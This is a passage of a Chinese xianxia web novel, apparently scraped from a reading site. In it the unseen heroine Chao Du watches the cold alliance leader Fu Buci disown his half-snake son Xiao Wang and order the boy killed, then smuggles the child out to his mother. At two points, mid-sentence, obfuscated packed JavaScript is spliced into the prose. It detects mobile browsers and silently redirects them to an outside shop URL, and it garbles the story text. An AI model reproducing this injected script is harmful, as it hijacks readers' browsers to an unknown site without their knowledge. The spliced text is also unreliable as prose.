另一个朝渡艰难地露出一点微笑,吃力笨重地抬起手抱了抱她。 随后,另一个朝渡看向回心和回意,问:“对了,仙君他今晚没来吗?” 回心和回意对视了一眼,两个人互相用胳膊肘推了推彼此,都不肯自己说。 另一个朝渡直接点名:“回心,你来说。” 回心低着头小心翼翼道:“仙君他今晚来过了,但看您不在,又走了。”很不耐烦地走了,但是回心没敢说出来。 另一个朝渡脸上多了一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648936|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血色,她欣喜道:“他果然来了,是我回来晚了,都怪我……” 朝渡直接闭上眼,稳定灵力。 “我要去找他!我得跟他解释清楚!”另一个朝渡竟想强撑着坐起来,朝渡忍无可忍,一把将她按回去。 周围的傅忆昔和几个侍女看不到朝渡,还以为是另一个朝渡没力气跌回去的,赶紧都围了上来。 朝渡退后一步给他们让开位置,同时咬着牙道:“你给我好好养伤!护卫应该已经把你重伤的消息报告给他了,傅不辞但凡有点良心,会自己过来看你的!” 另一个朝渡转动眼球,充满期待地望着门口。 朝渡:“……”好像说错话了,万一那人真没良心不来可怎么办啊?她现在可经历不起第二次情绪上的剧烈波动了。 这时,青云仙宫的值守医修来了,侍女称他们为于大夫和徐大夫。 他们一番仔细检查后,由于大夫向另一个朝渡汇报:“夫人似乎不久前出现了灵力散溃,经脉因此受损,但幸好没出现性命危险,经脉也没完全碎裂,只是需要补上一些经脉中的裂缝。” 傅忆昔抹着眼泪,听得似懂非懂,但是拉着于大夫反复道:“你们一定要治好我娘亲啊!” 于大夫:“我们尽力,尽力!不过修补经脉的药十分珍贵……我们得先去找仙君报告一下这件事。” 傅忆昔很不高兴:“我娘亲是盟主夫人,再珍贵的药也用得起,这还需要报告吗?!” 于大夫苦笑:“小姐别生气,主要是没有仙君的同意,这药我们两个没有资格拿出来。” 傅忆昔仍然不高兴:“你们没有资格,我娘亲有资格啊,你们只管拿出来,就说是我娘亲让拿的,给我娘亲用的,谁敢有意见?!” “这……”两个医修面面相觑,没一个人敢应下来。 殿内诡异地静了片刻,直到徐大夫开口:“盟主应该很关心夫人的病情,我去汇报一下,顺带取药回来,很快的,不耽误事的!” 另一个朝渡有气无力道:“没事忆昔,他们说的有道理,就按他们说的来。” 朝渡捏了捏眉心,她一听就知道,这是另一个自己还惦记着傅不辞的态度。 傅忆昔不情不愿地撇了撇嘴:“好吧,你们一定要快点啊!” 徐大夫:“一定!一定!” 朝渡同另一个朝渡道:“我跟着那医师去看看情况,你在这里好好休息,尽量不要出现情绪波动。” “好!”另一个朝渡乖乖地点了点头,随后闭上了眼睛,她实在没力气了。 傅忆昔茫然看了看周围:“娘亲,你在跟谁说话啊?” 另一个朝渡没有回答,她已经昏沉沉地睡了过去。 留在这里的于大夫猜测:“可能是夫人太累了,神志不清出现幻觉了?” 回意:“应该是吧?让夫人好好休息吧,小姐,要不你也先回去休息?” 傅忆昔倔强道:“我不!我要在这里陪着娘亲,而且还不知道是谁把娘亲害成这样的,我得守在这!” 朝渡跟着徐大夫离开了房间,这医修也不含糊,直接御风而起,快速飞向傅不辞的仙居宫。 路上,朝渡算着,守卫肯定已经用最快速度把消息告诉傅不辞了,按时间来算,傅不辞如果过来的话应该已经到了。 但没见到他人。 朝渡目光越来越冷。 来到仙居宫,此时宫殿里灯火通明,门口守卫森严,傅不辞应该就在这,不过门口这些守卫是什么情况? 徐大夫落下,向门口守卫请求进入。 门口守卫却道:“我去帮你禀告一声,但不一定看能进,盟主正在见贵客。”说完他就走向殿内,也是个利落的人。 “贵客?”徐大夫惊讶,小声问旁边的另一个守卫,“这个点了有什么贵客?” 那个门口守卫摇了摇头,做了个噤声的动作:“这可不能说,一会你要能进去或许能看到,对了,我看你是飞过来的,青云仙宫内非紧急情况可是禁止御风飞行的。” 徐大夫连忙道:“我知道,我这确实有紧急情况!” 朝渡懒得听俩人探讨青云仙宫的规矩,直接跟着第一个守卫进了仙居宫。 那守卫先找到了傅不辞的亲卫禀告情况,亲卫再进入内间禀告:“盟主,给夫人看病的大夫来了,说是要汇报病情,您现在方便见吗?” 傅不辞沉默地看着孤零零站在屋内正中间的孩子,没有说话。 朝渡惊讶地发现屋里不但有那个可疑的妖族使者“曲千”,还有一个半人半妖的孩子,他手腕上还有没能完全收起的青色鳞片。 这孩子此刻会被“曲千”带到这里见傅不辞,难道他是…… 28. 孩子 朝渡走到前面,看到了这孩子的正脸,忍不住心道:这孩子,跟傅不辞长得真像啊!尤其是那双眉眼,简直一模一样。 只不过傅不辞的眉眼间向来有一股傲气,这孩子的眉眼间除了期待,更多的是紧张不安。 被妖族推出来当棋子,孤零零地站在大厅中间,被父亲居高临下地俯视——也许还没被承认。 而且朝渡发现,单看外貌,他看起来比傅忆昔还大一点,所以傅忆昔并非傅不辞唯一的孩子,甚至可能并非他的第一个孩子?! 这事要是让另一个朝渡知道了……不,至少这几天,绝不能让她知道!她已经经不起这种刺激了。 另一边,主座上,傅不辞仍然沉默,倒是一旁的“曲千”开了口:“盟主,这孩子的事还得再商量,夫人那边的病怕是等不得,还是先见大夫吧。” 傅不辞冷冷地看了他一眼:“仙宫的事还轮不到你插手。” “曲千”并不惧怕他,反而悠悠道:“盟主夫人此刻身受重伤,盟主却并不焦急,难道说盟主与夫人感情有变的传言是真的?” “连传言你也信?”傅不辞冷笑,暗暗捏紧了手指,“让大夫进来,去西侧房间!” 说完,他自己站起身离开了这间屋子,背影看起来怒气冲冲。 徐大夫终于进到殿里了,在只有他、傅不辞和朝渡三人的房间里,向傅不辞汇报了盟主夫人的情况。 傅不辞听完冷笑:“她可真能折腾,一天不见给自己折腾出个经脉破裂,谁干的?” 徐大夫:“这……看夫人的症状,或许不是被人伤到了,而是怒极攻心灵气乱溢导致的……” “怒极攻心?她有什么好怒的?”傅不辞神色更冷,“竟会挑好时候找麻烦!” 徐大夫支支吾吾不敢接话。 傅不辞瞥他一眼,冷笑道:“你也很会挑时候汇报。” 徐大夫连忙解释:“主要是需要通经畅络丹来给夫人治病,这丹药没您的准许,我们取不了。” 傅不辞:“哦?有朝渡的准许也取不了吗?她可是盟主夫人。” 徐大夫的头深深低下,不敢吭声,傅不辞一步步向他走了过来,放缓了声音,状似和颜悦色地问:“你到底是不知道她也有资格取,还是怕取了药之后被我怪罪?” 徐大夫连忙道:“我、我真不知道啊!” 傅不辞“哦”了一声,温和笑道:“那就好,我还以为是你也听说过我打算换盟主夫人的那个流言呢,我是那种薄情寡义的人吗?” “没有!绝对没有!您当然不是那种人!!!”徐大夫眼神惶恐,背后已经被冷汗湿透。 傅不辞收起笑脸,冷声道:“去拿最好的药去治她!而且要让所有人都知道!” “是!是!”徐大夫连忙走了,出门时还慌到滑了一跤。 傅不辞又一声冷笑,回了东侧的房间,“曲千”询问:“夫人病情如何?” 傅不辞露出几分忧心的模样:“她经脉受了些伤,已经派人去取最好的药给她治了,希望她能尽快恢复。” “曲千”眼中闪过一丝鄙夷,仿佛看破了他是在装,但仍赞叹道:“有盟主这般用心,想来夫人定会早日康复。不过盟主,这孩子的事,您可得给我们妖族一个交代。” 傅不辞俯视着这个与自己极其相似的孩子,皱了皱眉:“只是长得与我有几分相像罢了。” “曲千”微笑道:“确实,单看长相还不能说明什么,我这有颗验亲珠。只需要盟主和小望把手都放上去,若是这珠子亮了,便说明二位血脉相连,盟主,请?” 说着,他取出了一颗三寸大的透明珍珠,珍珠内还有光点流动闪烁。 傅不辞冷笑:“你们妖族有备而来,谁知道这珠子有没有提前被做了手脚?” “曲千”点了点头:“有道理,那盟主可以用修仙界的法器来测,相信结果都一样。” 傅不辞:“……呵,那做不做也都一样,还是别白费功夫了,无论结果如何,我都不会给他名分的。” 名为小望的孩子猛地抬起头,呆呆望着自己的父亲,眼中全是不可置信。 “为什么?!”小望茫然震惊问。 傅不辞淡淡瞥了他一眼,目光中净是鄙夷,他甚至懒得回答。 旁观的朝渡轻叹:因为傅不辞作为仙盟之主,且是一个极其在乎名声的盟主,他不能允许自己有一个半人半妖的私生子。这孩子和他娘也是糊涂,只看到了富贵好处,就被人哄来当棋子,也不想想傅不辞会认他么。 “曲千”揣着明白装糊涂问:“盟主竟如此狠心,竟愿让你的亲生骨肉流落在外?” 傅不辞眼神冰冷地看向他:“我知道你们妖族的盘算,别装了,直接开价吧,如果价格合适,我们还能合作,如果价格不合适,呵,你们会血本无归。” “曲千”思索片刻道:“盟主的意思,我明白了,既然如此,我想要修仙界排名前二十的门派的修炼功法,五十名优秀的武器铸造师,以及灵石三百箱。” 傅不辞面带微笑,但眼神愈发冰冷,甚至多了几分杀意:“你开玩笑也要适可而止,这是绝无可能的条件。” “是吗?”“曲千”笑了笑,“看来盟主的诚意不是很够啊。” 两人视线相撞,微笑的面具之下,是彼此昂然的杀意,直到小望忽然崩溃地哭了起来:“为什么!我和娘等了你十年!你为什么不要我?!” “曲千”嘴角微微上扬,露出看好戏的表情。 傅不辞嫌弃讥讽地瞥了他一眼,仍然不答。 “盟主,您的亲生孩子在问您问题呢~”“曲千”笑吟吟地提醒他。 傅不辞冷笑:“他与我有何关系?你要是还想合作,就直接谈条件。” “曲千”装模作样地叹气道:“盟主竟是如此冷漠的人,一点都不在乎孩子的感受吗?” 傅不辞露出不耐烦的神色:“够了!你把他带过来的目的谁都清楚,装什么装,我最后问一次,还想不想合作了?” 小望忽然哭着奔向曲千:“让我回家!我要娘亲!我不要这个爹了!” 傅不辞:“……呵,还不算太蠢。” “曲千”无语一瞬,赶忙抱着小望劝道:“乖,你爹他可是仙盟盟主,你留在这里后半生都不用发愁了!” “我才不信!他根本不在乎我,那我也不在乎他了!”小望拼命摇头,哭喊道,“让我回去!我要跟娘在一起!我好不容易才有了些朋友,让我回去!我想娘了!” 傅不辞露出一点微笑:“我想,尊重孩子本人的感受和意愿还是很有必要的,你说对吧?” “曲千”面带微笑,眼神冰冷地看着小望,小望被他的眼神吓得后退了两步,四处张望,但屋子里已经没有他能躲的地方了。 傅不辞神色放缓了些,和蔼道:“既然小望不愿意留在这里,我想我们都不该强求,你把他带回去,善待他们母子俩,让他们改名换姓换个身份,我可以以个人名义赠送你们五本不错的剑法,派十名武器铸造师去五年,外加百箱灵石,如何?” “曲千”眼神阴冷地望着小望,缓缓开口:“成交。” 随后,他带着小望离开。 傅不辞冷冷看着他们离开后,鄙夷道:“当年好心放了那条蛇,没想到她如此愚蠢!” 随后,他抬手唤了一名亲卫,吩咐道:“妖族不会善罢甘休,盯紧他们的动静,该杀就杀。另外,告诉石转,无论用什么方法,杀了这孩子,他必须死,不然后患无穷。” 朝渡:“……”傅不辞也是够狠心了,亲生孩子也说杀就杀。 不过石转是谁?朝渡没印象,但这名字让她想起一人,名为黄转。 那是一名不择手段的商人,一切只为利益,甚至能跟魔修合作,石转跟黄转的名字里面碰巧都有一个“转”字,傅不辞难道跟他也有联系? 傅不辞离开后,朝渡才离开仙居宫,回到了琴瑟宫。 她本以为另一个朝渡应该已经睡了,却没想到一进屋就对上她欣喜幸福的目光:“你可算回来了,我等你好久!” 朝渡:“……等我做什么?” 她打量另一个朝渡,发现她的气色比刚才红润多了,精神也好了不少,看来这药不但治了她的身病,还治了她的心病。 另一个朝渡幸福地笑了起来:“你知道吗,刚才医师回来,说不辞对他说,要用最好的药治我!他果然还是爱我的!” 朝渡:“……嗯。”虽然其实是因为傅不辞怕落得个薄情寡义的名声,已经有太多人知道他想换盟主夫人了,他不敢让另一个朝渡仅因为经脉有裂痕就死在青云仙宫。 但是这些,还是先不要告诉她了,她现在经不起第二次情绪上的巨大起伏了。 “对了,你去哪里了呀,比医师晚回来这么久?”另一个朝渡好奇问。 朝渡:“……今天月亮不错,看了一会。”更不能提孩子的事,她怕另一个朝渡再次呕血。 另一个朝渡:“哦,这样吗……”看她的神色,她似乎也没有完全相信,但她没有再追问,还对朝渡笑了笑:“那我先睡了!今天就不练剑了,有些累了。” 朝渡点了点头,放轻了声音:“快睡吧,做个好梦。改日再练。” “嗯!”另一个朝渡一闭上眼就沉沉睡去,朝渡静静看了她许久,她睡得很沉很香,嘴角还带着一点清浅的笑意,看得出她此刻真的很幸福。 可这样的幸福能持续多久呢?幸福消失的那一刻,又该有多痛苦,多难承受? 还有那个孩子,如今只想回家只想找娘,傅不辞却想要他的命。而那些带他来这里的“好心”妖族,只把他当棋子来用,他一心回家找娘破坏了他们的计划,怕是也不会让他好过的。 朝渡走出琴瑟宫,踏着屋脊屋檐,一路行至妖族使者休息的锦弦院。 既然有人想离开这片浑水,她愿意帮一把。而且如果这孩子失踪了,傅不辞和妖族谁会更慌呢?至少修仙界不用把傅不辞允诺的那些东西和人送给妖族了,说不定妖族还得倒赔点。 她开启灵视,将整个锦弦院观察了个遍,竟未找到那个小孩。 “有点意思。”朝渡抱着胳膊思索片刻,决定换个思路:既然妖族把他藏了起来,那就找妖族守卫最严密的地方,以及最有可能藏活物的地方,毕竟不是所有的储物戒储物镯都能放活物的。 她再次用灵视打量整栋锦弦院,发现防守最严密的是曲千的房间,房间里有个匣子,匣子上有好几层隐匿、防御与警戒的符和阵法,如果不是她修为非凡,换其他人来怕是看都看不到匣子,难怪他们能把这孩子无声无息地带进青云仙宫。 而且,这是个能放活物的匣子。 朝渡锁定目标,隐匿着身形,无视守卫径直穿墙而入,来到了红漆雕花匣子前,瞥了眼旁边已经放下的珍珠床帐,心道他确实没他姐努力,这就睡了,他姐还在楼上修炼呢。 随后她打量匣子:不能直接带走,不然会触发匣子的防御和警报,也许还会把其他人都惊醒。 那么最简单有效的方法是…… 朝渡向匣子伸出手,手指如探入水中般直接穿透匣子与重重符和阵,伸到了匣子之中,未掀起半分涟漪。 她在进行共鸣,与匣子本身以及匣子上的符和阵法都进行了共鸣,此时就像匣子本身长出了一只手。 随后,她的手缓缓抬起来,指尖拿着一条昏睡的青色小蛇——为防这小蛇惊动其他人,她先给他施了一个昏睡令,然后带着他一同共鸣,穿透匣子的重重防御。 随后,她带着这小蛇离开了锦弦院,回到了琴瑟宫偏殿里。 她设下隐匿阵法,把昏睡的小蛇放在桌子上,自己也变化了一番:戴上木面具,重点是把身上的衣服幻化成她当年在仙衣阁学习的基础款劲装! 没有任何花纹!颜色是常见的白色!裁剪普普通通!布料平平无奇!这要有谁还能看出端倪,她心服口服。 她解开了小蛇身上的昏睡令。 小蛇缓缓醒了过来,吐了吐蛇信,茫然地看了看四周和朝渡,口吐人言:“这是哪?你是谁?!”他的声音因恐惧而颤抖。 朝渡安慰道:“不要怕,我是来救你的。” 小蛇仍然戒备地看着她。 朝渡向他摊开空荡荡的双手以示无害:“别怕,我真的是来带你走的,你不是想见你的娘亲吗?” 小蛇愣住,期待又紧张地问朝渡:“真的?你真能带我去找娘?” 朝渡点了点头,又道:“不过可能需要你等一段时间,你刚刚失踪,他们会到处找你,你要是这个时候被找到了,你和你娘都有生命危险。” “可是我娘已经来了。”小蛇弯起尾巴尖,点了点自己下巴下面的一块鳞片,那鳞片陡然变成了一条项链。 项链吊坠是一条跟小望很像的青色小蛇,蛇身上还刻着“平安”两字,像是个护身符。 小蛇看向吊坠,肯定道:“她就在这附近,刚刚到。” “?!”朝渡惊讶了一下,“她居然自己过来了?她在哪?” 小蛇用尾巴尖晃了晃吊坠,给出方向:“就在下方!” 青云仙宫的下方……那不是仙盟吗?! 朝渡心头一惊,带着小蛇飞出琴瑟宫,径直飞向下方的仙盟所在。 “再往前一点!”小蛇盘在她的手上,一路上用尾巴给她指明方向。 终于,朝渡遥遥看到了一个裹着斗篷的憔悴女子,朝渡没有在她身上感受到妖气,这或许是因为那斗篷的作用。 这女子面容憔悴苍白,黑眼圈很重,大约这几日没有好好休息过。她站在仙盟所在的问玄山山前,在一处岩石与树木共同遮蔽组成的阴影里,绝望地抬头看着眼前巍峨高大的问玄山,以及更上方浮在云中的青云仙宫。 随后她目露茫然疑惑,视线随着朝渡和小蛇逐渐落下。 当朝渡带着小蛇落到地面上时,她仿佛意识到了什么,悲痛地扑了过来,匍匐下身子在地面的草丛里一阵好找,口中绝望哭喊:“在哪?!护身符在哪!!!护身符掉下来了,小望他难道已经……” “娘!!!”小望从朝渡手中一跃而下,半空中化成人形向那女子冲了过去,朝渡解除了他身上的隐匿术,又在周围设了个隔绝阵。 女子抬起满是泪水的脸,不可思议地看向朝自己冲过来的小孩:“小望?你还活着?你还活着!!!” 她欣喜若狂地猛地抱住小望。 小望却试图挣扎,艰难道:“娘……咳咳咳——我要喘不过气了!” “哦,哦,抱歉,娘太高兴了……”女子松开了他,摸了摸他的脑袋,眼中全是依依不舍和失而复得的狂喜。 随后这女子看向朝渡,满目感激:“请问是您救了小望吗?” 朝渡点头,问她:“你怎么来这里……哎不用不用!” 那女子当即向她跪下,重重磕头行礼,朝渡把她扶起来:“不必了。” “恩人!”那女子含泪道,“多谢恩人救了他!” 朝渡帮她擦掉她额头上的泥土和草屑:“没事,你是来这里找小望的?” “是,我来找他,我想把他带回去。”女子擦着泪点头,声音哽咽,“我错了,十年前就错了,现在不能一错再错,害了小望也害了……他。” 朝渡又问:“十年前?你是十年前认识傅不辞的?” 听到这个名字,女子神色复杂,她抱着小望,怅然抬头看向青云仙宫:“对,十年前,我被修仙界的人抓住,抓我的人把我卖给了另一个人,然后那个人把我送给了他……修仙界的盟主。盟主他其实是个很温柔的人,待我很好,可我那时候太想回家了,我求他放了我,他竟然真的就放了,还派人护送我回了妖族地界,给了我一些灵石。” 小望惊诧抬头:“娘,你没跟我说过这事!你跟我说的是我爹他因为很重要的事,去了很远的地方,需要几年才能回来,你骗我?!” 女子苦笑着抚摸他的脸颊:“对不起,这些年娘骗了你。盟主他其实压根不知道你的存在,是我当年不该……当年我明明喝了避子汤,回到妖族才发现竟然还是怀上了,可能因为我是妖族,那避子汤对我没效果?然后族长知道了这件事,他让我留住这孩子,我是离开之后才发现我喜欢上盟主了,也想把这个孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655542|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子留下来当个念想,然后就……” 小望呆住,然后猛地哭了出来,泣不成声:“难怪爹那么讨厌我,原来我,原来我是……” 女子抱住小望,不住道歉:“对不起,都怪娘,都怪娘!” 朝渡摇了摇头,叹息,又问:“这次是谁把小望带过来的?”虽然心中已经有数了,她还是想再确认一下。 女子小声道:“是前段时间,龙族的那位皇子龙元雅找到我——应该是族长把这消息告诉了他,他说有办法让这孩子回到他父亲身边,我也是糊涂了,竟然真的幻想盟主他能看在龙族的面子上把小望认回去,从此小望过上不被歧视前途无量的好日子——族长也是这样说的,我甚至还幻想着他会因为孩子把我也接过去,是我太蠢了。” 朝渡惊讶于她的坦诚,又忍不住问:“那你是怎么想明白的?” “是曲……一位公子指点了我。”女子怅然抬头望向月下云中隐约可见的翡翠宫殿,啜泣道,“他说盟主不可能允许自己有一个半人半妖的私生子,小望这一去,别说过上好日子了,能不能活着回来都是个问题,龙族他们只是拿小望去跟盟主谈条件,说白了小望就是他们的人质!我的糊涂差点要害死小望,也害了盟主,幸好有恩人把小望救了下来!我马上带着小望离开,从此隐姓埋名,不会再让任何人发现小望跟盟主的关系!” 她抚摸着小望的头顶苦笑:“这云上的仙宫,不是我们两条蛇该来的地方,从今以后忘了这个地方,忘了盟主吧。”这话倒像她说给自己听的。 朝渡听到指点她的人是一位姓曲的公子,心里已经明白指点她的人是谁,无论他是因为对自己被顶替了身份不满,还是因为一些不忍心,总之点醒了这个女子。 “小女名叫曲荷露,请问恩人的姓名是?”这女子目光真诚,“如果以后有能报恩的地方,我一定竭尽全力!以命相报!” 朝渡摇头:“不必了,你们早些离开吧,等天亮了,上面的人发现小望不见后应该会到处找他,到时候就麻烦了。” “可是,娘,我们要去哪啊?”小望不安地问,“回妖族吗?” 曲荷露面露茫然:“……妖族一时半会应该回不去了,修仙界也很危险,但天底下这么多山和湖,总有能容得下我们两条蛇的地方。” 她握紧了小望的手,目光渐渐坚定:“我们走!” “且慢。” 朝渡忽然唤住这对母子,抬起手,手中浮现了两颗丹药:“这是隐气丹,服用之后,能在一年之内隐藏你们的妖气,需要吗?” 曲荷露愣了一下,随即感激道:“需要!多谢恩人!” 朝渡把丹药递给他们,建议道:“别去找附近的山和湖,他们能猜到你们想往那里逃的。可以先换个容貌,去修仙界的城市住一段时间,他们不敢在城里大肆搜索你们的,城里反而安全,易容术会吧?灵石还有吧?” “会!有!”曲荷露重重点头,接过丹药,感激到要哭出来,“真的太感谢您了……” 朝渡摇头:“不必在意,出发吧,可以往北边走,那里有离得最近的城镇。” “嗯!”曲荷露再一次抬头看向青云仙宫,随后低下头,握紧小望的手,目光坚定,“我们走!” 朝渡目送两人向北方离开,松了口气,回到了青云仙宫,先去琴瑟宫看了看另一个自己的情况,见她睡得很安详,便去了偏殿,继续打坐修炼。 但她只修炼了一会,就飞到了偏殿屋顶,坐下来望着月亮发呆。 “怎么了?”千钧剑问。 朝渡沉默片刻,淡淡笑道:“我想起我娘了,仙人也会想娘,有点好笑吧。” 千钧剑却道:“没什么好笑的,你只是飞升了,不是变成石头了。” 朝渡的眼里多了几分真切的笑意,把千钧剑召唤出来,横于膝头,轻抚剑鞘,望着月亮忆起往事:“其实我小时候就想学剑,学剑能降妖除魔保护人,多好多帅呀。” “但我娘不同意我学剑,主要是因为她觉得学剑太危险了。学剑免不了切磋,刀光剑影间太容易受伤了,还有可能要被派出来降妖除魔,那就更危险了,我爹也很赞同。” 千钧剑:“这倒确实,你后来受了很多伤。” 朝渡轻叹:“学剑怎么能不受伤呢?我娘不想见我受伤,就不想让我学剑,从根源断绝我会因剑受伤的可能性。哪怕她跟我爹都是剑修,她说从她俩开始,家里不准再出现一个剑修。” 朝渡说着,无奈摇了摇头,但眼神温柔而怀念,仿佛已经看到了故人昔日说话时气冲冲但暗藏关心的模样。 千钧剑:“她很关心你。” 朝渡点头:“嗯,她想让我去个安稳清闲的地方,一辈子衣食无忧,不用受伤,她说她跟我爹都吃够了练剑的苦,那不是一般的苦,不但苦还穷,还可能把命搭上,而且没有天赋的话,练一辈子也不过平平。她绝不允许我重蹈覆辙。” “她打听了很多很多门派,抛去我天赋够不着的,抛去离家太远的,抛去入门费太贵实在出不起的,抛去可能有危险的,抛去听说氛围不好的,抛去我不喜欢的……最后精挑细选定下了仙衣阁,把我送了过去。” “她把我送过去时还哭了,她那么不舍得我,又非得把我送走,不肯让我留在小镇上她跟我爹在的门派里,她说锦绣城里有锦绣,我在锦绣城里能过上好日子。” “不出意外的话,可能我确实能如他们所想,一辈子衣食无忧,每天安安稳稳地织织布绣绣花,做做漂亮衣服。可是命运无常啊……” “先是我家所在的镇子,被魔修袭击,等消息传到我那里时,镇上已经没有活人了。” 朝渡停下抚剑的动作,她抬头凝望着月亮,平静下是深深的哀痛:“当我收到消息赶回去时,家已经没了,她和我爹,都没了。” “前些年,我在刻意遗忘这件事,但越想忘,天雷越会提醒,越会考验,如今倒是能坦然面对了,只是想起来……还是很想念她们。” 朝渡沉默了好一会,又道:“后来锦绣城被袭击,仙衣阁,幸好这次,我终于能救下一些人了,没有再一次留下太多遗憾。” “曲荷露她虽然有点糊涂,但对她孩子是真心的,她发现不对后,千里迢迢,孤身一妖跑到仙盟的山门口,真不要命了。如果不是我及时把她孩子带下来,她说不定敢去闯仙盟。” “你怎么不说话哎?”朝渡用指尖敲了敲剑鞘,“睡着了?” “没有,剑哪里会睡觉?我在认真听你说,很少听你说这么多话。”千钧剑答道,“我能感觉到,你还是很难过。” 朝渡抱着剑,沉默良久,才轻声道:“有些事,终究成了遗憾。” 她与她见的最后一面,并不愉快,她还是想去学剑,她唉声叹气无可奈何。 自小镇被灭后,她很长一段时间浑浑噩噩,对一切,包括学剑失去了兴趣。 被她娘精挑细选出来的仙衣阁的确氛围很好,同门和师尊都很理解她,尤其是遥遥,一直在尽力帮她走出阴影。 直到那次新剑试锋大会上,那一任仙盟盟主游云月,以一道令日月黯然失色的剑气击响镇魔钟,她被这一剑惊艳震撼,重新有了学剑的目标,才逐渐真正走出了阴影。 千钧剑:“命运的确无常,若非她把你送到仙衣阁,你小时候就会折在那镇子上,若非你后来执意学剑,你救不了仙衣阁的那些人。” “命运啊……”朝渡望向亘古皎洁的明月,小时候她和娘也这样看过月亮。 “如果她有来世,我虽然做不了她来世的女儿,但希望我的剑,能护她生生世世的安宁。” 朝渡说完,闭上眼,原地开始打坐修炼,千钧剑静静陪着她,如过去的每一次,每一日。 等到夜色渐浅,晨曦初现时,朝渡伸了个懒腰,将剑收起,站起身:“走,有场好戏可不能错过。” 她不急不缓地溜达到锦弦院,此时院中楼上一片宁静,看来好戏还没开始,她干脆在锦弦院的屋顶上继续打坐修炼。 直到“曲千”气冲冲地拉开房门,口中恨恨骂道:“好一个傅不辞!” 随后他直奔傅不辞的仙居宫。 29. 和好 曲千气势汹汹地离开了锦弦院,径直闯向仙居宫,打伤打飞数个守卫后,傅不辞手持长剑现身,极度不悦地质问:“你这是要做什么?想死在青云仙宫么?” “盟主昨夜做了什么,自己心里清楚!”曲千执剑微笑,目光森冷地盯着傅不辞。 旁边的侍卫面面相觑,傅不辞意识到了什么,蹙起眉头,命令道:“进来说。” 一人一妖与朝渡都进了仙居宫。 傅不辞先问:“到底发生什么了?小望出事了?” 曲千鼓掌,阴阳怪气地赞道:“盟主演技真好啊!明明是盟主昨夜派人把孩子偷走,现在倒来装无辜,不知道修仙界哪位高手能神不知鬼不觉地穿透这匣子上的重重阵法,能不能让我认识认识开开眼啊?” 傅不辞眉头越皱越紧:“小望丢了?” 曲千轻笑:“盟主何必装糊涂!不就是盟主派人偷的吗?盟主不是就盼着小望消失,好反过来拿捏我妖族吗?” 傅不辞目光闪了一下,他是有这个打算,但没安排这么快。 他冷笑道:“我就算有这个打算,也不会让他失踪在青云仙宫,这是生怕你们怀疑不到我吗?” 曲千又鼓掌,赞许道:“盟主果然是个聪明人,通过成为最大的嫌疑人,反而化解了自己嫌疑,实在是妙啊,这种反其道而行之,我可得向盟主好好学习学习。” 傅不辞怒极反笑:“你既说是我干的,有证据吗?” 曲千微笑:“所以说盟主聪明啊,手下也了不得,竟没留下半点痕迹。” “因为那就不是我干的!倒是你……”傅不辞眯起眼睛打量他,“倒是你,很有贼喊捉贼的嫌疑。” 曲千扬起眉梢:“哦?盟主这是说不过我,开始倒打一耙了吗?这样做对我有什么好处?!” 傅不辞围着他踱步,仔细打量他的神色变化:“先把孩子假装弄丢,实则藏起来,等以后又想威胁我时再拿出来,这不就是你本来的盘算吗?” “怎么可能。”曲千否认着,但挪开了视线,这确实是他原来的打算,但昨夜却并非他动的手啊。 “你心虚了。”傅不辞指出他的破绽。 曲千:“……行吧,实话实话,我确实有这个打算,但昨夜真不是我干的。我是打算离开青云仙宫以后再把他藏起来的。” 两个人视线交换,傅不辞冷笑:“看来是真的丢了?” 曲千:“看来是的……还会是谁偷的?接下来怎么办?” 傅不辞毫不犹豫:“找,无论生死,必须找到,你联系妖族那边的去找,我来找修仙界这边。” 曲千点头,建议道:“可以先派人去搜附近的山林和湖泊,蛇族喜欢去这些地方。” 傅不辞:“不用你提醒,做好你自己的事。不过昨日许诺给妖族的那些,怕是给不了了。” 曲千没好气道:“盟主没让我们妖族再赔点,我们就得感恩戴德了呢。不过能无声无息取走这匣子里活物的,世上应该没有几个人。盟主,你知道修仙界里谁有这番能耐吗?” 一个名字忽然从傅不辞脑海中闪过。 荧惑。 或者说夕溯。 这人极善隐匿之术,也许有这种能耐,会是他干的吗?他的目的是什么?难道这几日他并未离开青云仙宫,甚至昨夜他与龙族使者密谈时,他或许就在旁边?! “盟主的脸色好像不是很好看啊,想到谁了?看来这人跟盟主的关系不是很好?”曲千讽笑问。 傅不辞回神,强行镇定道:“与你无关,回去吧,记得封锁消息,这事闹大了,谁都不好看。” 等妖族使者离开后,傅不辞恨恨道:“荧惑,夕溯……简直阴魂不散!”像噩梦一样缠绕着他。 朝渡心情很好地回了琴瑟宫,另一个朝渡还没睡醒,毕竟昨天受了那么重的伤。 朝渡来到偏殿修炼,到中午时去查看另一个朝渡醒了没有,却发现傅不辞竟然也在。 他还亲昵地揽着另一个朝渡的肩膀,一勺勺给她喂药,温声叮嘱道:“这些药虽然苦,但能让你好得快,别耍小孩脾气不吃苦药。” 喂完药,还亲手捏了一颗蜜饯递到另一个朝渡嘴边,温柔含笑地看着她:“我的渡儿最乖了。” 朝渡:“……千钧,我们是不是又到别的世界了?” 千钧剑:“……不太确定,也可能是见鬼了。” 朝渡退出房间,飞到屋檐上,感受了一下大中午的炽烈阳光,重新进入屋里,正见另一个朝渡抱着傅不辞的胳膊不撒手,在撒娇,满脸甜蜜幸福。 